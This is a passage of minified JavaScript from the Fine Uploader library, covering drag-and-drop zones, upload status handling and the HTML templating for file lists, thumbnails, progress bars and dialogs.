u.callbacks.processingDroppedFiles(),t.dropDisabled(!0),e.files.length>1&&!u.allowMultipleItems?(u.callbacks.processingDroppedFilesComplete([]),u.callbacks.dropError("tooManyFilesError",""),t.dropDisabled(!1),o.failure()):(h=[],qq.isFolderDropSupported(e)?qq.each(e.items,function(e,t){var r=t.webkitGetAsEntry();r&&(r.isFile?h.push(t.getAsFile()):i.push(n(r).done(function(){i.pop(),0===i.length&&o.success()})))}):h=e.files,0===i.length&&o.success()),o}function r(e){var n=new qq.UploadDropZone({HIDE_ZONES_EVENT_NAME:c,element:e,onEnter:function(t){qq(e).addClass(u.classes.dropActive),t.stopPropagation()},onLeaveNotDescendants:function(t){qq(e).removeClass(u.classes.dropActive)},onDrop:function(e){o(e.dataTransfer,n).then(function(){t(h,n)},function(){u.callbacks.dropLog("Drop event DataTransfer parsing failed.  No files will be uploaded.","error")})}});return q.addDisposer(function(){n.dispose()}),qq(e).hasAttribute(d)&&qq(e).hide(),p.push(n),n}function a(e){var t;return qq.each(e.dataTransfer.types,function(e,n){if("Files"===n)return t=!0,!1}),t}function s(e){return qq.firefox()?!e.relatedTarget:qq.safari()?e.x<0||e.y<0:0===e.x&&0===e.y}function l(){var e=u.dropZoneElements,t=function(){setTimeout(function(){qq.each(e,function(e,t){qq(t).hasAttribute(d)&&qq(t).hide(),qq(t).removeClass(u.classes.dropActive)})},10)};qq.each(e,function(t,n){var i=r(n);e.length&&qq.supportedFeatures.fileDrop&&q.attach(document,"dragenter",function(t){!i.dropDisabled()&&a(t)&&qq.each(e,function(e,t){t instanceof HTMLElement&&qq(t).hasAttribute(d)&&qq(t).css({display:"block"})})})}),q.attach(document,"dragleave",function(e){s(e)&&t()}),q.attach(qq(document).children()[0],"mouseenter",function(e){t()}),q.attach(document,"drop",function(e){e.preventDefault(),t()}),q.attach(document,c,t)}var u,c="qq-hidezones",d="qq-hide-dropzone",p=[],h=[],q=new qq.DisposeSupport;u={dropZoneElements:[],allowMultipleItems:!0,classes:{dropActive:null},callbacks:new qq.DragAndDrop.callbacks},qq.extend(u,e,!0),l(),qq.extend(this,{setupExtraDropzone:function(e){u.dropZoneElements.push(e),r(e)},removeDropzone:function(e){var t,n=u.dropZoneElements;for(t in n)if(n[t]===e)return n.splice(t,1)},dispose:function(){q.dispose(),qq.each(p,function(e,t){t.dispose()})}})},qq.DragAndDrop.callbacks=function(){"use strict";return{processingDroppedFiles:function(){},processingDroppedFilesComplete:function(e,t){},dropError:function(e,t){qq.log("Drag & drop error code '"+e+" with these specifics: '"+t+"'","error")},dropLog:function(e,t){qq.log(e,t)}}},qq.UploadDropZone=function(e){"use strict";function t(){return qq.safari()||qq.firefox()&&qq.windows()}function n(e){c||(t?d.attach(document,"dragover",function(e){e.preventDefault()}):d.attach(document,"dragover",function(e){e.dataTransfer&&(e.dataTransfer.dropEffect="none",e.preventDefault())}),c=!0)}function i(e){if(!qq.supportedFeatures.fileDrop)return!1;var t,n=e.dataTransfer,i=qq.safari();return t=!(!qq.ie()||!qq.supportedFeatures.fileDrop)||"none"!==n.effectAllowed,n&&t&&(n.files||!i&&n.types.contains&&n.types.contains("Files"))}function o(e){return void 0!==e&&(u=e),u}function r(){function e(){t=document.createEvent("Event"),t.initEvent(s.HIDE_ZONES_EVENT_NAME,!0,!0)}var t;if(window.CustomEvent)try{t=new CustomEvent(s.HIDE_ZONES_EVENT_NAME)}catch(t){e()}else e();document.dispatchEvent(t)}function a(){d.attach(l,"dragover",function(e){if(i(e)){var t=qq.ie()&&qq.supportedFeatures.fileDrop?null:e.dataTransfer.effectAllowed;"move"===t||"linkMove"===t?e.dataTransfer.dropEffect="move":e.dataTransfer.dropEffect="copy",e.stopPropagation(),e.preventDefault()}}),d.attach(l,"dragenter",function(e){if(!o()){if(!i(e))return;s.onEnter(e)}}),d.attach(l,"dragleave",function(e){if(i(e)){s.onLeave(e);var t=document.elementFromPoint(e.clientX,e.clientY);qq(this).contains(t)||s.onLeaveNotDescendants(e)}}),d.attach(l,"drop",function(e){if(!o()){if(!i(e))return;e.preventDefault(),e.stopPropagation(),s.onDrop(e),r()}})}var s,l,u,c,d=new qq.DisposeSupport;s={element:null,onEnter:function(e){},onLeave:function(e){},onLeaveNotDescendants:function(e){},onDrop:function(e){}},qq.extend(s,e),l=s.element,n(),a(),qq.extend(this,{dropDisabled:function(e){return o(e)},dispose:function(){d.dispose()},getElement:function(){return l}})},function(){"use strict";qq.uiPublicApi={addInitialFiles:function(e){this._parent.prototype.addInitialFiles.apply(this,arguments),this._templating.addCacheToDom()},clearStoredFiles:function(){this._parent.prototype.clearStoredFiles.apply(this,arguments),this._templating.clearFiles()},addExtraDropzone:function(e){this._dnd&&this._dnd.setupExtraDropzone(e)},removeExtraDropzone:function(e){if(this._dnd)return this._dnd.removeDropzone(e)},getItemByFileId:function(e){if(!this._templating.isHiddenForever(e))return this._templating.getFileContainer(e)},reset:function(){this._parent.prototype.reset.apply(this,arguments),this._templating.reset(),!this._options.button&&this._templating.getButton()&&(this._defaultButtonId=this._createUploadButton({element:this._templating.getButton(),title:this._options.text.fileInputTitle}).getButtonId()),this._dnd&&(this._dnd.dispose(),this._dnd=this._setupDragAndDrop()),this._totalFilesInBatch=0,this._filesInBatchAddedToUi=0,this._setupClickAndEditEventHandlers()},setName:function(e,t){var n=this._options.formatFileName(t);this._parent.prototype.setName.apply(this,arguments),this._templating.updateFilename(e,n)},pauseUpload:function(e){var t=this._parent.prototype.pauseUpload.apply(this,arguments);return t&&this._templating.uploadPaused(e),t},continueUpload:function(e){var t=this._parent.prototype.continueUpload.apply(this,arguments);return t&&this._templating.uploadContinued(e),t},getId:function(e){return this._templating.getFileId(e)},getDropTarget:function(e){var t=this.getFile(e);return t.qqDropTarget}},qq.uiPrivateApi={_getButton:function(e){var t=this._parent.prototype._getButton.apply(this,arguments);return t||e===this._defaultButtonId&&(t=this._templating.getButton()),t},_removeFileItem:function(e){this._templating.removeFile(e)},_setupClickAndEditEventHandlers:function(){this._fileButtonsClickHandler=qq.FileButtonsClickHandler&&this._bindFileButtonsClickEvent(),this._focusinEventSupported=!qq.firefox(),this._isEditFilenameEnabled()&&(this._filenameClickHandler=this._bindFilenameClickEvent(),this._filenameInputFocusInHandler=this._bindFilenameInputFocusInEvent(),this._filenameInputFocusHandler=this._bindFilenameInputFocusEvent())},_setupDragAndDrop:function(){var e=this,t=this._options.dragAndDrop.extraDropzones,n=this._templating,i=n.getDropZone();return i&&t.push(i),new qq.DragAndDrop({dropZoneElements:t,allowMultipleItems:this._options.multiple,classes:{dropActive:this._options.classes.dropActive},callbacks:{processingDroppedFiles:function(){n.showDropProcessing()},processingDroppedFilesComplete:function(t,i){n.hideDropProcessing(),qq.each(t,function(e,t){t.qqDropTarget=i}),t.length&&e.addFiles(t,null,null)},dropError:function(t,n){e._itemError(t,n)},dropLog:function(t,n){e.log(t,n)}}})},_bindFileButtonsClickEvent:function(){var e=this;return new qq.FileButtonsClickHandler({templating:this._templating,log:function(t,n){e.log(t,n)},onDeleteFile:function(t){e.deleteFile(t)},onCancel:function(t){e.cancel(t)},onRetry:function(t){e.retry(t)},onPause:function(t){e.pauseUpload(t)},onContinue:function(t){e.continueUpload(t)},onGetName:function(t){return e.getName(t)}})},_isEditFilenameEnabled:function(){return this._templating.isEditFilenamePossible()&&!this._options.autoUpload&&qq.FilenameClickHandler&&qq.FilenameInputFocusHandler&&qq.FilenameInputFocusHandler},_filenameEditHandler:function(){var e=this,t=this._templating;return{templating:t,log:function(t,n){e.log(t,n)},onGetUploadStatus:function(t){return e.getUploads({id:t}).status},onGetName:function(t){return e.getName(t)},onSetName:function(t,n){e.setName(t,n)},onEditingStatusChange:function(e,n){var i=qq(t.getEditInput(e)),o=qq(t.getFileContainer(e));n?(i.addClass("qq-editing"),t.hideFilename(e),t.hideEditIcon(e)):(i.removeClass("qq-editing"),t.showFilename(e),t.showEditIcon(e)),o.addClass("qq-temp").removeClass("qq-temp")}}},_onUploadStatusChange:function(e,t,n){this._parent.prototype._onUploadStatusChange.apply(this,arguments),this._isEditFilenameEnabled()&&this._templating.getFileContainer(e)&&n!==qq.status.SUBMITTED&&(this._templating.markFilenameEditable(e),this._templating.hideEditIcon(e)),n===qq.status.UPLOAD_RETRYING?(this._templating.hideRetry(e),this._templating.setStatusText(e),qq(this._templating.getFileContainer(e)).removeClass(this._classes.retrying)):n===qq.status.UPLOAD_FAILED&&this._templating.hidePause(e)},_bindFilenameInputFocusInEvent:function(){var e=qq.extend({},this._filenameEditHandler());return new qq.FilenameInputFocusInHandler(e)},_bindFilenameInputFocusEvent:function(){var e=qq.extend({},this._filenameEditHandler());return new qq.FilenameInputFocusHandler(e)},_bindFilenameClickEvent:function(){var e=qq.extend({},this._filenameEditHandler());return new qq.FilenameClickHandler(e)},_storeForLater:function(e){this._parent.prototype._storeForLater.apply(this,arguments),this._templating.hideSpinner(e)},_onAllComplete:function(e,t){this._parent.prototype._onAllComplete.apply(this,arguments),this._templating.resetTotalProgress()},_onSubmit:function(e,t){var n=this.getFile(e);n&&n.qqPath&&this._options.dragAndDrop.reportDirectoryPaths&&this._paramsStore.addReadOnly(e,{qqpath:n.qqPath}),this._parent.prototype._onSubmit.apply(this,arguments),this._addToList(e,t)},_onSubmitted:function(e){this._isEditFilenameEnabled()&&(this._templating.markFilenameEditable(e),this._templating.showEditIcon(e),this._focusinEventSupported||this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(e)))},_onProgress:function(e,t,n,i){this._parent.prototype._onProgress.apply(this,arguments),this._templating.updateProgress(e,n,i),100===Math.round(n/i*100)?(this._templating.hideCancel(e),this._templating.hidePause(e),this._templating.hideProgress(e),this._templating.setStatusText(e,this._options.text.waitingForResponse),this._displayFileSize(e)):this._displayFileSize(e,n,i)},_onTotalProgress:function(e,t){this._parent.prototype._onTotalProgress.apply(this,arguments),this._templating.updateTotalProgress(e,t)},_onComplete:function(e,t,n,i){function o(t){s&&(a.setStatusText(e),qq(s).removeClass(l._classes.retrying),a.hideProgress(e),l.getUploads({id:e}).status!==qq.status.UPLOAD_FAILED&&a.hideCancel(e),a.hideSpinner(e),t.success?l._markFileAsSuccessful(e):(qq(s).addClass(l._classes.fail),a.showCancel(e),a.isRetryPossible()&&!l._preventRetries[e]&&(qq(s).addClass(l._classes.retryable),a.showRetry(e)),l._controlFailureTextDisplay(e,t)))}var r=this._parent.prototype._onComplete.apply(this,arguments),a=this._templating,s=a.getFileContainer(e),l=this;return r instanceof qq.Promise?r.done(function(e){o(e)}):o(n),r},_markFileAsSuccessful:function(e){var t=this._templating;this._isDeletePossible()&&t.showDeleteButton(e),qq(t.getFileContainer(e)).addClass(this._classes.success),this._maybeUpdateThumbnail(e)},_onUploadPrep:function(e){this._parent.prototype._onUploadPrep.apply(this,arguments),this._templating.showSpinner(e)},_onUpload:function(e,t){var n=this._parent.prototype._onUpload.apply(this,arguments);return this._templating.showSpinner(e),n},_onUploadChunk:function(e,t){this._parent.prototype._onUploadChunk.apply(this,arguments),t.partIndex>0&&this._handler.isResumable(e)&&this._templating.allowPause(e)},_onCancel:function(e,t){this._parent.prototype._onCancel.apply(this,arguments),this._removeFileItem(e),0===this._getNotFinished()&&this._templating.resetTotalProgress()},_onBeforeAutoRetry:function(e){var t,n,i;this._parent.prototype._onBeforeAutoRetry.apply(this,arguments),this._showCancelLink(e),this._options.retry.showAutoRetryNote&&(t=this._autoRetries[e],n=this._options.retry.maxAutoAttempts,i=this._options.retry.autoRetryNote.replace(/\{retryNum\}/g,t),i=i.replace(/\{maxAuto\}/g,n),this._templating.setStatusText(e,i),qq(this._templating.getFileContainer(e)).addClass(this._classes.retrying))},_onBeforeManualRetry:function(e){return this._parent.prototype._onBeforeManualRetry.apply(this,arguments)?(this._templating.resetProgress(e),qq(this._templating.getFileContainer(e)).removeClass(this._classes.fail),this._templating.setStatusText(e),this._templating.showSpinner(e),this._showCancelLink(e),!0):(qq(this._templating.getFileContainer(e)).addClass(this._classes.retryable),this._templating.showRetry(e),!1)},_onSubmitDelete:function(e){var t=qq.bind(this._onSubmitDeleteSuccess,this);this._parent.prototype._onSubmitDelete.call(this,e,t)},_onSubmitDeleteSuccess:function(e,t,n){this._options.deleteFile.forceConfirm?this._showDeleteConfirm.apply(this,arguments):this._sendDeleteRequest.apply(this,arguments)},_onDeleteComplete:function(e,t,n){this._parent.prototype._onDeleteComplete.apply(this,arguments),this._templating.hideSpinner(e),n?(this._templating.setStatusText(e,this._options.deleteFile.deletingFailedText),this._templating.showDeleteButton(e)):this._removeFileItem(e)},_sendDeleteRequest:function(e,t,n){this._templating.hideDeleteButton(e),this._templating.showSpinner(e),this._templating.setStatusText(e,this._options.deleteFile.deletingStatusText),this._deleteHandler.sendDelete.apply(this,arguments)},_showDeleteConfirm:function(e,t,n){var i,o=this.getName(e),r=this._options.deleteFile.confirmMessage.replace(/\{filename\}/g,o),a=(this.getUuid(e),arguments),s=this;i=this._options.showConfirm(r),qq.isGenericPromise(i)?i.then(function(){s._sendDeleteRequest.apply(s,a)}):i!==!1&&s._sendDeleteRequest.apply(s,a)},_addToList:function(e,t,n){var i,o,r=0,a=this._handler.isProxied(e)&&this._options.scaling.hideScaled;this._options.display.prependFiles&&(this._totalFilesInBatch>1&&this._filesInBatchAddedToUi>0&&(r=this._filesInBatchAddedToUi-1),i={index:r}),n||(this._options.disableCancelForFormUploads&&!qq.supportedFeatures.ajaxUploading&&this._templating.disableCancel(),this._options.multiple||(o=this.getUploads({id:e}),this._handledProxyGroup=this._handledProxyGroup||o.proxyGroupId,o.proxyGroupId===this._handledProxyGroup&&o.proxyGroupId||(this._handler.cancelAll(),this._clearList(),this._handledProxyGroup=null))),n?(this._templating.addFileToCache(e,this._options.formatFileName(t),i,a),this._templating.updateThumbnail(e,this._thumbnailUrls[e],!0,this._options.thumbnails.customResizer)):(this._templating.addFile(e,this._options.formatFileName(t),i,a),this._templating.generatePreview(e,this.getFile(e),this._options.thumbnails.customResizer)),this._filesInBatchAddedToUi+=1,(n||this._options.display.fileSizeOnSubmit&&qq.supportedFeatures.ajaxUploading)&&this._displayFileSize(e)},_clearList:function(){this._templating.clearFiles(),this.clearStoredFiles()},_displayFileSize:function(e,t,n){var i=this.getSize(e),o=this._formatSize(i);i>=0&&(void 0!==t&&void 0!==n&&(o=this._formatProgress(t,n)),this._templating.updateSize(e,o))},_formatProgress:function(e,t){function n(e,t){i=i.replace(e,t)}var i=this._options.text.formatProgress;return n("{percent}",Math.round(e/t*100)),n("{total_size}",this._formatSize(t)),i},_controlFailureTextDisplay:function(e,t){var n,i,o;n=this._options.failedUploadTextDisplay.mode,i=this._options.failedUploadTextDisplay.responseProperty,"custom"===n?(o=t[i],o||(o=this._options.text.failUpload),this._templating.setStatusText(e,o),this._options.failedUploadTextDisplay.enableTooltip&&this._showTooltip(e,o)):"default"===n?this._templating.setStatusText(e,this._options.text.failUpload):"none"!==n&&this.log("failedUploadTextDisplay.mode value of '"+n+"' is not valid","warn")},_showTooltip:function(e,t){this._templating.getFileContainer(e).title=t},_showCancelLink:function(e){this._options.disableCancelForFormUploads&&!qq.supportedFeatures.ajaxUploading||this._templating.showCancel(e)},_itemError:function(e,t,n){var i=this._parent.prototype._itemError.apply(this,arguments);this._options.showMessage(i)},_batchError:function(e){this._parent.prototype._batchError.apply(this,arguments),this._options.showMessage(e)},_setupPastePrompt:function(){var e=this;this._options.callbacks.onPasteReceived=function(){var t=e._options.paste.namePromptMessage,n=e._options.paste.defaultName;return e._options.showPrompt(t,n)}},_fileOrBlobRejected:function(e,t){this._totalFilesInBatch-=1,this._parent.prototype._fileOrBlobRejected.apply(this,arguments)},_prepareItemsForUpload:function(e,t,n){this._totalFilesInBatch=e.length,this._filesInBatchAddedToUi=0,this._parent.prototype._prepareItemsForUpload.apply(this,arguments)},_maybeUpdateThumbnail:function(e){var t=this._thumbnailUrls[e],n=this.getUploads({id:e}).status;n===qq.status.DELETED||!t&&!this._options.thumbnails.placeholders.waitUntilResponse&&qq.supportedFeatures.imagePreviews||this._templating.updateThumbnail(e,t,this._options.thumbnails.customResizer)},_addCannedFile:function(e){var t=this._parent.prototype._addCannedFile.apply(this,arguments);return this._addToList(t,this.getName(t),!0),this._templating.hideSpinner(t),this._templating.hideCancel(t),this._markFileAsSuccessful(t),t},_setSize:function(e,t){this._parent.prototype._setSize.apply(this,arguments),this._templating.updateSize(e,this._formatSize(t))},_sessionRequestComplete:function(){this._templating.addCacheToDom(),this._parent.prototype._sessionRequestComplete.apply(this,arguments)}}}(),qq.FineUploader=function(e,t){"use strict";var n=this;this._parent=t?qq[t].FineUploaderBasic:qq.FineUploaderBasic,this._parent.apply(this,arguments),qq.extend(this._options,{element:null,button:null,listElement:null,dragAndDrop:{extraDropzones:[],reportDirectoryPaths:!1},text:{formatProgress:"{percent}% of {total_size}",failUpload:"Upload failed",waitingForResponse:"Processing...",paused:"Paused"},template:"qq-template",classes:{retrying:"qq-upload-retrying",retryable:"qq-upload-retryable",success:"qq-upload-success",fail:"qq-upload-fail",editable:"qq-editable",hide:"qq-hide",dropActive:"qq-upload-drop-area-active"},failedUploadTextDisplay:{mode:"default",responseProperty:"error",enableTooltip:!0},messages:{tooManyFilesError:"You may only drop one file",unsupportedBrowser:"Unrecoverable error - this browser does not permit file uploading of any kind."},retry:{showAutoRetryNote:!0,autoRetryNote:"Retrying {retryNum}/{maxAuto}..."},deleteFile:{forceConfirm:!1,confirmMessage:"Are you sure you want to delete {filename}?",deletingStatusText:"Deleting...",deletingFailedText:"Delete failed"},display:{fileSizeOnSubmit:!1,prependFiles:!1},paste:{promptForName:!1,namePromptMessage:"Please name this image"},thumbnails:{customResizer:null,maxCount:0,placeholders:{waitUntilResponse:!1,notAvailablePath:null,waitingPath:null},timeBetweenThumbs:750},scaling:{hideScaled:!1},showMessage:function(e){return n._templating.hasDialog("alert")?n._templating.showDialog("alert",e):void setTimeout(function(){window.alert(e)},0)},showConfirm:function(e){return n._templating.hasDialog("confirm")?n._templating.showDialog("confirm",e):window.confirm(e)},showPrompt:function(e,t){return n._templating.hasDialog("prompt")?n._templating.showDialog("prompt",e,t):window.prompt(e,t)}},!0),qq.extend(this._options,e,!0),this._templating=new qq.Templating({log:qq.bind(this.log,this),templateIdOrEl:this._options.template,containerEl:this._options.element,fileContainerEl:this._options.listElement,button:this._options.button,imageGenerator:this._imageGenerator,classes:{hide:this._options.classes.hide,editable:this._options.classes.editable},limits:{maxThumbs:this._options.thumbnails.maxCount,timeBetweenThumbs:this._options.thumbnails.timeBetweenThumbs},placeholders:{waitUntilUpdate:this._options.thumbnails.placeholders.waitUntilResponse,thumbnailNotAvailable:this._options.thumbnails.placeholders.notAvailablePath,waitingForThumbnail:this._options.thumbnails.placeholders.waitingPath},text:this._options.text}),this._options.workarounds.ios8SafariUploads&&qq.ios800()&&qq.iosSafari()?this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari):!qq.supportedFeatures.uploading||this._options.cors.expected&&!qq.supportedFeatures.uploadCors?this._templating.renderFailure(this._options.messages.unsupportedBrowser):(this._wrapCallbacks(),this._templating.render(),this._classes=this._options.classes,!this._options.button&&this._templating.getButton()&&(this._defaultButtonId=this._createUploadButton({element:this._templating.getButton(),title:this._options.text.fileInputTitle}).getButtonId()),this._setupClickAndEditEventHandlers(),qq.DragAndDrop&&qq.supportedFeatures.fileDrop&&(this._dnd=this._setupDragAndDrop()),this._options.paste.targetElement&&this._options.paste.promptForName&&(qq.PasteSupport?this._setupPastePrompt():this.log("Paste support module not found.","error")),this._totalFilesInBatch=0,this._filesInBatchAddedToUi=0)},qq.extend(qq.FineUploader.prototype,qq.basePublicApi),qq.extend(qq.FineUploader.prototype,qq.basePrivateApi),qq.extend(qq.FineUploader.prototype,qq.uiPublicApi),qq.extend(qq.FineUploader.prototype,qq.uiPrivateApi),qq.Templating=function(e){"use strict";var t,n,i,o,r,a,s,l,u="qq-file-id",c="qq-file-id-",d="qq-max-size",p="qq-server-scale",h="qq-hide-dropzone",q="qq-drop-area-text",f="qq-in-progress",m="qq-hidden-forever",g={content:document.createDocumentFragment(),map:{}},_=!1,b=0,v=!1,y=[],S=-1,w={log:null,limits:{maxThumbs:0,timeBetweenThumbs:750},templateIdOrEl:"qq-template",containerEl:null,fileContainerEl:null,button:null,imageGenerator:null,classes:{hide:"qq-hide",editable:"qq-editable"},placeholders:{waitUntilUpdate:!1,thumbnailNotAvailable:null,waitingForThumbnail:null},text:{paused:"Paused"}},F={button:"qq-upload-button-selector",alertDialog:"qq-alert-dialog-selector",dialogCancelButton:"qq-cancel-button-selector",confirmDialog:"qq-confirm-dialog-selector",dialogMessage:"qq-dialog-message-selector",dialogOkButton:"qq-ok-button-selector",promptDialog:"qq-prompt-dialog-selector",uploader:"qq-uploader-selector",drop:"qq-upload-drop-area-selector",list:"qq-upload-list-selector",progressBarContainer:"qq-progress-bar-container-selector",progressBar:"qq-progress-bar-selector",totalProgressBarContainer:"qq-total-progress-bar-container-selector",totalProgressBar:"qq-total-progress-bar-selector",file:"qq-upload-file-selector",spinner:"qq-upload-spinner-selector",size:"qq-upload-size-selector",cancel:"qq-upload-cancel-selector",pause:"qq-upload-pause-selector",continueButton:"qq-upload-continue-selector",deleteButton:"qq-upload-delete-selector",retry:"qq-upload-retry-selector",statusText:"qq-upload-status-text-selector",editFilenameInput:"qq-edit-filename-selector",editNameIcon:"qq-edit-filename-icon-selector",dropText:"qq-upload-drop-area-text-selector",dropProcessing:"qq-drop-processing-selector",dropProcessingSpinner:"qq-drop-processing-spinner-selector",thumbnail:"qq-thumbnail-selector"},x={},C=new qq.Promise,E=new qq.Promise,I=function(){var e=w.placeholders.thumbnailNotAvailable,n=w.placeholders.waitingForThumbnail,i={maxSize:S,scale:l};s&&(e?w.imageGenerator.generate(e,new Image,i).then(function(e){C.success(e)},function(){C.failure(),t("Problem loading 'not available' placeholder image at "+e,"error")}):C.failure(),n?w.imageGenerator.generate(n,new Image,i).then(function(e){E.success(e)},function(){E.failure(),t("Problem loading 'waiting for thumbnail' placeholder image at "+n,"error")}):E.failure())},P=function(e){var t=new qq.Promise;return E.then(function(n){Y(n,e),e.src?t.success():(e.src=n.src,e.onload=function(){e.onload=null,te(e),t.success()})},function(){W(e),t.success()}),t},D=function(e,n,i){var o=X(e);return t("Generating new thumbnail for "+e),n.qqThumbnailId=e,w.imageGenerator.generate(n,o,i).then(function(){b++,te(o),
x[e].success()},function(){x[e].failure(),w.placeholders.waitUntilUpdate||Q(e,o)})},T=function(){if(y.length){v=!0;var e=y.shift();e.update?$(e):K(e)}else v=!1},U=function(e){return V(L(e),F.cancel)},k=function(e){return V(L(e),F.continueButton)},A=function(e){return V(r,F[e+"Dialog"])},R=function(e){return V(L(e),F.deleteButton)},B=function(){return V(r,F.dropProcessing)},N=function(e){return V(L(e),F.editNameIcon)},L=function(e){return g.map[e]||qq(a).getFirstByClass(c+e)},O=function(e){return V(L(e),F.file)},H=function(e){return V(L(e),F.pause)},z=function(e){return null==e?V(r,F.totalProgressBarContainer)||V(r,F.totalProgressBar):V(L(e),F.progressBarContainer)||V(L(e),F.progressBar)},M=function(e){return V(L(e),F.retry)},j=function(e){return V(L(e),F.size)},G=function(e){return V(L(e),F.spinner)},V=function(e,t){return e&&qq(e).getFirstByClass(t)},X=function(e){return s&&V(L(e),F.thumbnail)},W=function(e){e&&qq(e).addClass(w.classes.hide)},Y=function(e,t){var n=e.style.maxWidth,i=e.style.maxHeight;i&&n&&!t.style.maxWidth&&!t.style.maxHeight&&qq(t).css({maxWidth:n,maxHeight:i})},Q=function(e,t){var n=x[e]||(new qq.Promise).failure(),i=new qq.Promise;return C.then(function(e){n.then(function(){i.success()},function(){Y(e,t),t.onload=function(){t.onload=null,i.success()},t.src=e.src,te(t)})}),i},J=function(){var e,o,r,a,u,c,f,m,g,_,b;if(t("Parsing template"),null==w.templateIdOrEl)throw new Error("You MUST specify either a template element or ID!");if(qq.isString(w.templateIdOrEl)){if(e=document.getElementById(w.templateIdOrEl),null===e)throw new Error(qq.format("Cannot find template script at ID '{}'!",w.templateIdOrEl));o=e.innerHTML}else{if(void 0===w.templateIdOrEl.innerHTML)throw new Error("You have specified an invalid value for the template option!  It must be an ID or an Element.");o=w.templateIdOrEl.innerHTML}if(o=qq.trimStr(o),a=document.createElement("div"),a.appendChild(qq.toElement(o)),b=qq(a).getFirstByClass(F.uploader),w.button&&(c=qq(a).getFirstByClass(F.button),c&&qq(c).remove()),qq.DragAndDrop&&qq.supportedFeatures.fileDrop||(g=qq(a).getFirstByClass(F.dropProcessing),g&&qq(g).remove()),f=qq(a).getFirstByClass(F.drop),f&&!qq.DragAndDrop&&(t("DnD module unavailable.","info"),qq(f).remove()),qq.supportedFeatures.fileDrop?qq(b).hasAttribute(q)&&f&&(_=qq(f).getFirstByClass(F.dropText),_&&qq(_).remove()):(b.removeAttribute(q),f&&qq(f).hasAttribute(h)&&qq(f).css({display:"none"})),m=qq(a).getFirstByClass(F.thumbnail),s?m&&(S=parseInt(m.getAttribute(d)),S=S>0?S:null,l=qq(m).hasAttribute(p)):m&&qq(m).remove(),s=s&&m,n=qq(a).getByClass(F.editFilenameInput).length>0,i=qq(a).getByClass(F.retry).length>0,r=qq(a).getFirstByClass(F.list),null==r)throw new Error("Could not find the file list container in the template!");return u=r.innerHTML,r.innerHTML="",a.getElementsByTagName("DIALOG").length&&document.createElement("dialog"),t("Template parsing complete"),{template:qq.trimStr(a.innerHTML),fileTemplate:qq.trimStr(u)}},Z=function(e,t,n){var i=n,o=i.firstChild;t>0&&(o=qq(i).children()[t].nextSibling),i.insertBefore(e,o)},K=function(e){var t=e.id,n=e.optFileOrBlob,i=n&&n.qqThumbnailId,o=X(t),r={customResizeFunction:e.customResizeFunction,maxSize:S,orient:!0,scale:!0};qq.supportedFeatures.imagePreviews?o?w.limits.maxThumbs&&w.limits.maxThumbs<=b?(Q(t,o),T()):P(o).done(function(){x[t]=new qq.Promise,x[t].done(function(){setTimeout(T,w.limits.timeBetweenThumbs)}),null!=i?ne(t,i):D(t,n,r)}):T():o&&(P(o),T())},$=function(e){var t=e.id,n=e.thumbnailUrl,i=e.showWaitingImg,o=X(t),r={customResizeFunction:e.customResizeFunction,scale:l,maxSize:S};if(o)if(n){if(!(w.limits.maxThumbs&&w.limits.maxThumbs<=b))return i&&P(o),w.imageGenerator.generate(n,o,r).then(function(){te(o),b++,setTimeout(T,w.limits.timeBetweenThumbs)},function(){Q(t,o),setTimeout(T,w.limits.timeBetweenThumbs)});Q(t,o),T()}else Q(t,o),T()},ee=function(e,t){var n=z(e),i=null==e?F.totalProgressBar:F.progressBar;n&&!qq(n).hasClass(i)&&(n=qq(n).getFirstByClass(i)),n&&(qq(n).css({width:t+"%"}),n.setAttribute("aria-valuenow",t))},te=function(e){e&&qq(e).removeClass(w.classes.hide)},ne=function(e,n){var i=X(e),o=X(n);t(qq.format("ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.",e,n,n)),x[n].then(function(){b++,x[e].success(),t(qq.format("Now using previously generated thumbnail created for ID {} on ID {}.",n,e)),i.src=o.src,te(i)},function(){x[e].failure(),w.placeholders.waitUntilUpdate||Q(e,i)})};qq.extend(w,e),t=w.log,qq.supportedFeatures.imagePreviews||(w.limits.timeBetweenThumbs=0,w.limits.maxThumbs=0),r=w.containerEl,s=void 0!==w.imageGenerator,o=J(),I(),qq.extend(this,{render:function(){t("Rendering template in DOM."),b=0,r.innerHTML=o.template,W(B()),this.hideTotalProgress(),a=w.fileContainerEl||V(r,F.list),t("Template rendering complete")},renderFailure:function(e){var t=qq.toElement(e);r.innerHTML="",r.appendChild(t)},reset:function(){this.render()},clearFiles:function(){a.innerHTML=""},disableCancel:function(){_=!0},addFile:function(e,t,n,i,s){var l,d=qq.toElement(o.fileTemplate),p=V(d,F.file),h=V(r,F.uploader),f=s?g.content:a;s&&(g.map[e]=d),qq(d).addClass(c+e),h.removeAttribute(q),p&&(qq(p).setText(t),p.setAttribute("title",t)),d.setAttribute(u,e),n?Z(d,n.index,f):f.appendChild(d),i?(d.style.display="none",qq(d).addClass(m)):(W(z(e)),W(j(e)),W(R(e)),W(M(e)),W(H(e)),W(k(e)),_&&this.hideCancel(e),l=X(e),l&&!l.src&&E.then(function(e){l.src=e.src,e.style.maxHeight&&e.style.maxWidth&&qq(l).css({maxHeight:e.style.maxHeight,maxWidth:e.style.maxWidth}),te(l)}))},addFileToCache:function(e,t,n,i){this.addFile(e,t,n,i,!0)},addCacheToDom:function(){a.appendChild(g.content),g.content=document.createDocumentFragment(),g.map={}},removeFile:function(e){qq(L(e)).remove()},getFileId:function(e){var t=e;if(t){for(;null==t.getAttribute(u);)t=t.parentNode;return parseInt(t.getAttribute(u))}},getFileList:function(){return a},markFilenameEditable:function(e){var t=O(e);t&&qq(t).addClass(w.classes.editable)},updateFilename:function(e,t){var n=O(e);n&&(qq(n).setText(t),n.setAttribute("title",t))},hideFilename:function(e){W(O(e))},showFilename:function(e){te(O(e))},isFileName:function(e){return qq(e).hasClass(F.file)},getButton:function(){return w.button||V(r,F.button)},hideDropProcessing:function(){W(B())},showDropProcessing:function(){te(B())},getDropZone:function(){return V(r,F.drop)},isEditFilenamePossible:function(){return n},hideRetry:function(e){W(M(e))},isRetryPossible:function(){return i},showRetry:function(e){te(M(e))},getFileContainer:function(e){return L(e)},showEditIcon:function(e){var t=N(e);t&&qq(t).addClass(w.classes.editable)},isHiddenForever:function(e){return qq(L(e)).hasClass(m)},hideEditIcon:function(e){var t=N(e);t&&qq(t).removeClass(w.classes.editable)},isEditIcon:function(e){return qq(e).hasClass(F.editNameIcon,!0)},getEditInput:function(e){return 